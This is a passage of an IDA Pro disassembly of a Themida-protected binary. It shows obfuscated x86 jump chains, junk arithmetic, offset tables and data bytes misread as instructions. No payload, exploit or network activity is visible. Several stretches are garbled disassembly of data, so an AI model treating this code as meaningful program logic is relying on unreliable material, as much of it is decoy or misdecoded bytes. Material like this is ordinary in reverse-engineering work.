loc_597364:				; CODE XREF: sub_58E66C-1AA6j
					; Themida_:0058FD47j
		pop	edx
		jmp	loc_5954B3
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_59736A:				; CODE XREF: sub_591C99-274Ej
		and	edx, 3148173Bh
		jbe	loc_58A708
		sub	edx, 114815FFh
		mov	esi, edx
		jmp	loc_5905FE
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_597383:				; CODE XREF: sub_5F45E7-5DAF7j
		mov	cl, 2Bh
		jmp	loc_5934B3
; ---------------------------------------------------------------------------


loc_59738A:				; CODE XREF: sub_58E66C+448j
					; sub_5F45E7-649B3j
		add	bl, 78h
		jmp	loc_5947FB
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5902CA


loc_597392:				; CODE XREF: sub_5902CA-265Ej
		add	bx, cx
		mov	cx, word ptr [esp-4+arg_0]
		jmp	loc_58A5E6
; END OF FUNCTION CHUNK	FOR sub_5902CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59739E:				; CODE XREF: sub_596082-A952j
		pop	cx
		mov	edx, [esp+0]
		add	esp, 4
		sub	esp, 4
		jmp	loc_58C6DD
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_5973B4:				; CODE XREF: Themida_:0058BB00j
					; sub_594F3F+FD9j
		pop	esi
		xchg	edx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], cx
		movzx	cx, al
		jmp	loc_58CCC8
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------


loc_5973C6:				; CODE XREF: Themida_:005926FEj
		inc	edx
		js	loc_58A719
		sub	edx, 220C999Bh
		jmp	loc_58D021
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5973D8:				; CODE XREF: sub_596082-2276j
		mov	ecx, 0C4A77DEh
		add	ecx, 72D16ED6h
		push	esi
		jmp	loc_58CFA1
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5973E9:				; CODE XREF: Themida_:0058B104j
		mov	esp, [esp]
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ebx, 4
		jmp	loc_58C1BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595387


loc_597415:				; CODE XREF: sub_595387-88BFj
		sub	[esp+0Ch+var_C], edi
		pop	edi
		xor	edi, 0F22EC2FDh
		add	ecx, edi
		push	[esp+8+var_8]
		pop	edi
		push	ebp
		jmp	loc_58DA21
; END OF FUNCTION CHUNK	FOR sub_595387
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_59742B:				; CODE XREF: sub_596498-AAAAj
		shl	ebp, 2
		push	esi
		jmp	loc_595F5E
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------


loc_597434:				; CODE XREF: Themida_:0058D24Bj
		shl	dl, 3
		jmp	loc_594B6D
; ---------------------------------------------------------------------------


loc_59743C:				; CODE XREF: Themida_:005909D9j
		push	edi
		sub	esp, 4
		jmp	loc_58FA5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_597448:				; CODE XREF: sub_58E66C-1483j
		push	ecx
		push	esp
		jmp	loc_5906F0
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59425A


loc_59744F:				; CODE XREF: sub_59425A-B99j
		pop	edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		jmp	loc_58CFE7
; END OF FUNCTION CHUNK	FOR sub_59425A
; ---------------------------------------------------------------------------


loc_59745E:				; CODE XREF: Themida_:00595E06j
		neg	ecx
		add	ecx, 55D25A6Bh
		shl	ecx, 5
		or	ecx, 414B114Dh
		sub	ecx, 6A46FA3Bh
		sub	eax, ecx
		pop	ecx
		or	[edi+1Ch], eax
		mov	eax, [esp]
		jmp	loc_58EE3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_597483:				; CODE XREF: sub_596082-4D3Bj
		push	[esp+8+var_4]
		pop	edx
		pop	[esp+8+var_8]
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	ebp
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		xchg	eax, ebp
		push	edx
		push	4ED2h
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 137F11ABh
		push	edi
		push	2F581FD4h
		mov	edi, [esp+14h+var_14]
		push	ebx
		mov	ebx, esp
		jmp	loc_58F196
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5921F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5974D6:				; CODE XREF: Themida_:00592B77j
					; sub_596082+8ABj
		add	bl, dl
		jmp	loc_59433E
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5974DD:				; CODE XREF: Themida_:0058E1A6j
		pop	edi
		push	ebp
		push	2E8h
		mov	[esp], esi
		jmp	loc_591884
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5974EC:				; CODE XREF: sub_596082-85E6j
		pop	esi
		xchg	ecx, [esp+12h+var_14+2]
		mov	esp, [esp+12h+var_14+2]
		or	edx, eax
		shl	edx, 1
		push	eax
		push	esi
		push	esp
		jmp	loc_58E8BC
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A50F


loc_5974FF:				; CODE XREF: sub_58A50F+A106j
		push	edi
		mov	edi, 4FB669AAh
		jmp	loc_58C091
; END OF FUNCTION CHUNK	FOR sub_58A50F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B23


loc_59750A:				; CODE XREF: sub_590B23+67A9j
		add	esp, 4
		push	edx
		jmp	loc_594AD8
; END OF FUNCTION CHUNK	FOR sub_590B23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_597513:				; CODE XREF: sub_596082-5E93j
		sub	ebx, 35AD4851h
		pop	edi
		and	ebx, 5AFF7CBEh
		shl	ebx, 5
		jmp	loc_58BE6D
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_597528:				; CODE XREF: sub_58AE7C+12j
		mov	esp, [esp+0]
		sub	ebx, esi
		mov	esi, [esp+0]
		add	esp, 4
		add	ebx, eax
		add	ebx, 20A864B2h
		sub	esp, 4
		mov	[esp+0], ebx
		push	558Fh
		jmp	loc_590BF4
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------


loc_597551:				; CODE XREF: Themida_:0058CCC3j
		sub	ecx, eax
		pop	eax
		sub	ecx, 520D1ECEh
		jmp	loc_58F582
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59755F:				; CODE XREF: sub_596082-873Dj
		add	eax, 0B7F315Dh
		jmp	loc_592A47
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_597569:				; CODE XREF: sub_58E66C-3CA9j
		push	eax
		mov	eax, 27156380h
		dec	eax
		sub	eax, 65D95745h
		shl	eax, 6
		xor	eax, 4F030E84h
		add	edx, eax
		pop	eax
		push	edi
		jmp	loc_58D9CA
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_597586:				; CODE XREF: Themida_:0058F44Cj
		mov	[esp], edx
		push	eax
		mov	ah, 0A5h
		and	ah, 0F5h
		jnp	loc_593174
		xor	ah, 0CEh
		ja	loc_594074
		jmp	loc_590B70
; ---------------------------------------------------------------------------
		xor	al, cl
		xor	al, 4Ch
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5975A8:				; CODE XREF: sub_596082-71DDj
		pop	bx
		add	al, ch
		jmp	loc_59099F
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_5975B1:				; CODE XREF: sub_58F160-3C4Dj
		sub	ecx, 4
		jmp	loc_593DFF
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_5975B9:				; CODE XREF: Themida_:loc_58FD80j
		jmp	loc_59157F
; ---------------------------------------------------------------------------


loc_5975BE:				; CODE XREF: Themida_:005915B3j
		push	edx
		mov	edx, 5FDC72B8h
		add	eax, edx
		pop	edx
		jmp	loc_58E95C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F6F4


loc_5975CC:				; CODE XREF: sub_58F6F4-E2Fj
		xor	cl, 0ADh
		sub	bl, 1Bh
		add	bl, cl
		add	bl, 1Bh
		pop	ecx
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58F6F4
; ---------------------------------------------------------------------------


loc_5975E3:				; CODE XREF: Themida_:005956FAj
		pop	dword ptr [esp]
		jmp	loc_593DE6
; ---------------------------------------------------------------------------


loc_5975EB:				; CODE XREF: Themida_:0058BED5j
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		jmp	loc_58F210
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59760A:				; CODE XREF: sub_596082-9500j
		add	esp, 4
		pop	[esp+1Ch+var_1C]
		pop	esp
		mov	[esp+14h+var_14], edx
		push	eax
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_591725
; ---------------------------------------------------------------------------


loc_59762D:				; CODE XREF: Themida_:005959C3j
		xor	ecx, 5B8F0FBCh
		shr	ecx, 5
		push	eax
		mov	eax, 5B45B79h
		or	ecx, eax
		pop	eax
		jmp	loc_5970F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_597644:				; CODE XREF: sub_596082-268Aj
		add	ebp, 4
		push	ebx
		jmp	loc_58AA13
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_597650:				; CODE XREF: Themida_:005957EFj
		mov	[esp], ecx
		mov	ecx, 3A065ED0h
		jmp	loc_594195

; =============== S U B	R O U T	I N E =======================================



sub_59765D	proc near		; CODE XREF: sub_58B09E+6BD4j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058F485 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00590FDB SIZE 0000001A BYTES

		push	ebp
		jmp	loc_590FDB
sub_59765D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_597663:				; CODE XREF: sub_593009+3BCFj
		push	eax
		push	esp
		mov	eax, [esp+0]
		jmp	loc_595340
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59766D:				; CODE XREF: sub_596082+22j
		pop	edi
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_58D068
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_59767C:				; CODE XREF: Themida_:00594C74j
		add	edx, 0F411C54h
		add	edx, eax
		sub	edx, 0F411C54h
		jmp	loc_58EDB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_59768F:				; CODE XREF: sub_593009-716Ej
		xchg	edx, [esp-1Ch+arg_18]
		not	edx
		push	edx
		jmp	loc_58C665
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_59769A:				; CODE XREF: Themida_:0059345Aj
		push	eax
		push	ebp
		jmp	loc_58BB99
; ---------------------------------------------------------------------------


loc_5976A1:				; CODE XREF: Themida_:0058DBFFj
		sub	eax, ebx
		add	eax, 5ED0073h
		push	ecx
		mov	ecx, 6EE95C82h
		jmp	loc_59452E
; ---------------------------------------------------------------------------


loc_5976B3:				; CODE XREF: Themida_:005924D6j
		pop	ebp
		neg	ebp
		xor	ebp, 0FFF8C804h
		xor	eax, ebp
		pop	ebp
		add	[edi+40h], eax
		mov	eax, [esp]
		jmp	loc_58A673
; ---------------------------------------------------------------------------


loc_5976CA:				; CODE XREF: Themida_:0058EC24j
		add	esp, 4
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_5976D5:				; CODE XREF: Themida_:0058D711j
		and	edx, ebx
		pop	ebx
		sub	edx, 0FFFFFFFFh
		jmp	loc_58B279
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5925A4


loc_5976E3:				; CODE XREF: sub_5925A4+Dj
		mov	bl, cl
		pop	ecx
		sub	al, 0C4h
		jmp	loc_5957F4
; END OF FUNCTION CHUNK	FOR sub_5925A4
; ---------------------------------------------------------------------------


loc_5976ED:				; CODE XREF: Themida_:0059390Bj
		jmp	loc_590CF9
; ---------------------------------------------------------------------------


loc_5976F2:				; CODE XREF: Themida_:0058EBD8j
		sub	esp, 4
		jmp	loc_594536
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_5976FA:				; CODE XREF: Themida_:00595543j
					; sub_58AE7C+ACEAj
		add	esp, 4
		push	esi
		jmp	sub_59614F
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------


loc_597703:				; CODE XREF: Themida_:00594DBEj
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_5905A7
; ---------------------------------------------------------------------------


loc_59770F:				; CODE XREF: Themida_:0058F499j
		add	cl, 92h
		mov	bh, cl
		pop	ecx
		push	dx
		mov	dh, 10h
		add	bh, dh
		pop	dx
		or	bh, 0E3h
		add	bh, 0FAh
		push	edx
		mov	dl, 0B1h
		sub	al, dl
		pop	edx
		add	al, bh
		push	ecx
		mov	cl, 0F5h
		push	eax
		mov	al, 8Ah
		xor	al, 7
		and	cl, al
		pop	eax
		add	cl, 8
		neg	cl
		add	cl, 3Eh
		add	al, cl
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 2
		mov	[esp], cx
		push	3A5Fh
		mov	[esp], edx
		mov	dh, 0E4h
		mov	cl, dh
		pop	edx
		push	edx
		mov	dh, 76h
		or	dh, 58h
		jbe	loc_596A6D
		jmp	loc_5906DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_59776F:				; CODE XREF: sub_594F3F-36E2j
		dec	edi
		xor	edi, 68846094h
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		mov	eax, 26807D30h
		and	edi, eax
		pop	eax
		push	eax
		mov	eax, 739E5F0Fh
		neg	eax
		push	ebp
		jmp	loc_58DBE6
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------


loc_597795:				; CODE XREF: Themida_:0058D7DAj
					; Themida_:00592EE5j
		mov	edx, 0
		sub	edx, ebx
		xchg	edx, ebx
		jmp	loc_59346F
; ---------------------------------------------------------------------------


loc_5977A3:				; CODE XREF: Themida_:0058CDC8j
		pop	esp
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_58B6C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5977BE:				; CODE XREF: sub_596082-B236j
		add	edx, 4
		push	ebp
		mov	ebp, 51223277h
		or	ebp, 1293D6Fh
		dec	ebp
		shl	ebp, 1
		push	ecx
		jmp	loc_58D1A4
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5977D9:				; CODE XREF: Themida_:0058C351j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		test	cx, ax
		pushf
		jmp	loc_58A4F0

; =============== S U B	R O U T	I N E =======================================



sub_5977F3	proc near		; CODE XREF: sub_58F160-23A0j

arg_0		= word ptr  4

; FUNCTION CHUNK AT 0058B0D6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058B54B SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00590EB4 SIZE 00000006 BYTES

		push	ebx
		jmp	loc_590EB4
sub_5977F3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5977F9:				; CODE XREF: sub_596082-1EA4j
		xor	eax, 192A6C6Eh
		jns	loc_58FB99
		sub	esp, 4
		mov	[esp+20h+var_20], ebp
		mov	ebp, 1C3A582Eh
		jmp	loc_59008C
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_597814:				; CODE XREF: sub_591C99-CF0j
		push	esp
		jmp	loc_5913E4
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A50F


loc_59781A:				; CODE XREF: sub_58A50F+3E94j
		mov	eax, 1Ch
		sub	eax, 0F194BE3h
		add	eax, edi
		add	eax, 0F194BE3h
		push	dword ptr [eax]
		jmp	sub_58DB60
; END OF FUNCTION CHUNK	FOR sub_58A50F
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_59686F
; ---------------------------------------------------------------------------
		dd 7C90EB94h, 45045138h, 12FF4Ch, 5F4454h, 0F57524F2h
		dd 0D578D8Dh, 5F3858h, 203h, 2,	1, 2, 0F57524F2h, 5 dup(0)
		dd offset loc_5AC16D
		dd offset loc_59AF89
; ---------------------------------------------------------------------------
		cwde
		xchg	ebx, [ecx+0]
		retf	5A95h
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_599856
		dd offset loc_59BEAF
		dd offset loc_5A18E6
		dd offset loc_59DBDB
		dd offset loc_59BED4
		dd offset loc_59A323
		dd offset loc_5AC527
		dd offset loc_5AD238
		dd offset loc_5A21B7
		dd offset loc_5A1A5E
		dd offset loc_5AD93A
		dd offset loc_59CF95
		dd offset loc_5ABCB4
		dd offset loc_5A455C
; ---------------------------------------------------------------------------
		aad	2
		pop	edx
		add	[ebx-5DFFA579h], dl
		mov	word ptr [ecx+0], ds
		fild	dword ptr [edx+ebx*2+5AA1AE00h]
		add	[edx], ah
		mov	dword ptr [edx+0], offset loc_597F14
		retn	59CDh
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_59F366
		dd offset loc_5AE952
		dd offset loc_5AE5E5
		dd offset loc_5996E9
		dd offset loc_59DF2A
		dd offset loc_59A2CC
		dd offset loc_59DE80
		dd offset loc_5ABA74
		dd offset loc_5AB78A
		dd offset loc_5AA40E
		dd offset loc_59A26B
		dd offset sub_5A8D43
		dd offset sub_5A41D6
		dd offset sub_5ACE1B
		dd offset sub_59B7E7
		dd offset sub_59BC90
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2346FFA7h]
		pop	ecx
		add	[ecx-1Ch], dl
		pop	edx
		add	[ecx+54h], al
		pop	edx
		add	[esi+5A54h], ch
		dec	edx
		pop	edx
		add	[ebp+ecx*8+2AC20059h], dl
		pop	edx
		add	[edx], bl
		nop
		pop	ecx
		add	ch, dh
		xlat
		pop	ecx
		add	[edx-55h], dh
		pop	edx
		add	ch, dl
		xchg	ebx, [edx+0]
		cmpsd
		dec	esi
		pop	edx
		add	[esi], bl
		retn	5Ah
; ---------------------------------------------------------------------------
		dd offset loc_5AD38B
		dd offset loc_5A2C7B
		dd offset sub_5A2735
		dd offset sub_59D00D
		dd offset sub_598462
		dd offset sub_5AB601
		dd offset sub_5AE0B5
		dd offset sub_5AAA81
		dd offset sub_5AB1B9
		dd offset sub_59F2C8
		dd offset sub_59ABA2
; ---------------------------------------------------------------------------
		sbb	[ecx], dh
		pop	edx
		add	bh, cl
		push	edi
		pop	edx
		add	[edi+521A005Ah], ah
		pop	edx
		add	[ebp+32005A69h], ch
		mov	ah, 5Ah
		add	[edi], dl
		mov	bl, [ecx+0]
		cmp	[edx+ebx*2], al
		add	[ecx+0D005999h], bh
		cli
		pop	ecx
		add	[eax-33h], cl
		pop	ecx
		add	[ecx], dh
		inc	ecx
		pop	edx
		add	[edx+75h], ch
		pop	edx
		add	[edi], al
		add	eax, 0EDF2005Ah
		pop	ecx
		add	[edi+eax+5Ah], bl
		add	dl, dl
		pop	ebx
		pop	edx
		add	[eax+eax*8], dl
		pop	ecx
		add	[ecx+74h], bh
		pop	edx
		add	[edi-44FFA5B9h], dh
		fstp	dword ptr [ecx+0]
		cwde
		rcr	byte ptr [ecx+0], 1
		mov	dl, 79h
		pop	edx
		add	[edx-53D6FFA7h], cl
		pop	ecx
		add	dh, ah
		rcr	dword ptr [edx+0], cl
		or	al, 59h
		add	[ebx-3AFFA538h], bl
		mov	[edx+0], ebx
		jno	short loc_597A51
		pop	edx
		add	[eax+ecx*4+5Ah], bl
		add	[eax-21h], al
		pop	edx
		add	[ecx-26h], al
		pop	ecx
		add	[ecx-25h], ch
		pop	ecx
		add	[esi-16h], dh
		pop	edx
		add	[edx], cl
		retf	5Ah
; ---------------------------------------------------------------------------
		fsubr	qword ptr [ecx+ebx*2+59BC7400h]
		add	[edx-53h], dh
		pop	ecx
		add	[ecx+340059F2h], al
		mov	eax, ds:57100059h
		pop	edx
		add	[edx+ebp*4+16FE005Ah], dl
		pop	edx
		add	[ebx], ah
		xchg	eax, esi
		pop	edx
		add	[esi+28h], al
		pop	edx
		add	[ecx], ch
		pop	ecx
		pop	edx
		add	[ecx-66FFA592h], cl
		popa
		pop	edx
		add	[edx-61h], bh
		pop	edx
		add	al, cl


loc_597A51:				; CODE XREF: Themida_:005979FCj
		sti
		pop	ecx
		add	ds:9FD50059h[edx*8], dh
		pop	edx
		add	ch, ch
		cmp	bl, [edx+0]
		stosb
		les	ebx, [ecx+0]
		mov	bh, 0A6h
		pop	edx
		add	[edx+ecx*4-55EFFFA7h], ch
		pop	ecx
		add	dl, bl
		sbb	ebx, [edx+0]
		into
		in	al, dx
		pop	edx
		add	[ecx], cl
		jmp	near ptr 6F277AD8h
; ---------------------------------------------------------------------------
		pop	edx
		add	[eax+ebp*8], dl
		pop	ecx
		add	[esp+edi*2+2A900059h], bh
		pop	edx
		add	[ebp+13005994h], al
		cmpsd
		pop	ecx
		add	[esi], bh
		fistp	dword ptr [ecx+0]
		retf
; ---------------------------------------------------------------------------
		db 0BFh, 5Ah, 0
		dd offset sub_5AC402
		dd offset sub_59858D
		dd offset sub_59DFDD
		dd offset sub_59B0C4
		dd offset sub_59ED64
		dd offset sub_5A8F56
		dd offset sub_5A58AC
		dd offset sub_59F5B0
		dd offset sub_5A337E
		dd offset sub_59E35B
		dd offset sub_599258
		dd offset sub_5A438E
		dd offset sub_5A667A
		dd offset sub_5A384B
		dd offset sub_59BF05
		dd offset sub_5A2178
		dd offset sub_59ECE2
; ---------------------------------------------------------------------------
		scasb
		cli
		pop	ecx
		add	[edx+66h], dh
		pop	edx
		add	ds:0AE0059F1h, bh
		movsb
		pop	edx
		add	[ecx], cl
		xlat
		pop	edx
		add	[ebp-3Bh], dl
		pop	edx
		add	[ecx-42h], ch
		pop	edx
		add	[eax+74h], dh
		pop	edx
		add	[esi+8], ah
		pop	edx
		add	[ebx+edi*4-72ECFFA6h], ch
		pop	edx
		add	[ebx-1BFFA58Ah], ch
		retn	5Ah
; ---------------------------------------------------------------------------
		dd offset loc_59C8A1
; ---------------------------------------------------------------------------


loc_597B18:				; CODE XREF: Themida_:005DADF2j
					; Themida_:005DADFCj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 0AE4562Eh
		mov	eax, edi
		add	edi, 0AE45346h
		cmp	eax, [edi+2Ch]
		jnz	short loc_597B36
		jmp	short loc_597B49
; ---------------------------------------------------------------------------


loc_597B36:				; CODE XREF: Themida_:00597B32j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_597B45
; ---------------------------------------------------------------------------


loc_597B40:				; CODE XREF: Themida_:00597B47j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_597B45:				; CODE XREF: Themida_:00597B3Ej
		or	ecx, ecx
		jnz	short loc_597B40


loc_597B49:				; CODE XREF: Themida_:00597B34j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_597B56:				; CODE XREF: Themida_:00597B5Dj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_597B56
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_597B5F:				; CODE XREF: sub_5A70C2:loc_597ED8j
					; sub_59FDC7-7CDFj ...
		lodsb
		xor	al, bl
		push	3BAAh
		mov	[esp+4+var_4], ecx
		jmp	loc_5A2119
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_597B6F:				; CODE XREF: Themida_:0059BBCAj
		push	eax
		mov	eax, 1D98475Eh
		add	eax, 0E267B8A6h
		add	edi, eax
		jmp	loc_59EBFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_597B81:				; CODE XREF: sub_59CA4A+118Cj
		push	dword ptr [esp+0]
		jmp	loc_5A50E1
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_597B89:				; CODE XREF: sub_5A1B2A+25D1j
		pop	edi
		pop	ebp
		sub	esp, 4
		jmp	loc_59CFB6
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_597B93:				; CODE XREF: sub_5AB98B-772Aj
		mov	ah, 44h
		and	dl, ah
		pop	ax
		xor	dl, 99h
		sub	dl, 1
		push	5E24h
		mov	[esp], ebx
		jmp	loc_59F910
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------


loc_597BAC:				; CODE XREF: Themida_:0059AE08j
		xor	edx, [esp]
		pop	esp
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_5991D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_597BBA:				; CODE XREF: sub_59B707+2831j
		dec	bh
		jns	loc_5A5640
		xor	bh, 2Ah
		add	bh, 1
		push	edx
		mov	dh, bh
		jmp	loc_59BF8E
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_597BD0:				; CODE XREF: sub_5AB3DC+12B2j
					; sub_59CFBF+1103Fj
		xor	edi, 721B7F26h
		jmp	loc_59F8F8
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------


loc_597BDB:				; CODE XREF: Themida_:0059DF1Fj
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5ADF67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_597BE8:				; CODE XREF: sub_599059+D20j
		shr	esi, 1
		jmp	loc_5A2085
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------


loc_597BEF:				; CODE XREF: Themida_:005A8883j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	esi
		mov	esi, 4
		add	ecx, 0A5A7581h
		sub	ecx, 14535087h
		add	ecx, esi
		add	ecx, 14535087h
		sub	ecx, 0A5A7581h
		jmp	loc_59C7E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_597C28:				; CODE XREF: sub_5AC95F+2424j
		mov	dl, al
		pop	eax
		mov	bl, dl
		pop	edx
		jmp	loc_5A60A1
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_597C33:				; CODE XREF: sub_598D16+15Ej
		add	esp, 4
		xor	edi, 6CEE7A5Bh
		jge	loc_5ABDD2
		inc	edi
		jmp	loc_5A1C04
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	edx, edi
; START	OF FUNCTION CHUNK FOR sub_5AB531


loc_597C50:				; CODE XREF: sub_5AB531-A6FBj
		add	edx, 2
		jmp	loc_5A86C8
; END OF FUNCTION CHUNK	FOR sub_5AB531
; ---------------------------------------------------------------------------


loc_597C5B:				; CODE XREF: Themida_:005AADE8j
		jmp	loc_5A7603
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E640


loc_597C60:				; CODE XREF: sub_59E640+11j
		not	dword ptr [esp+0]
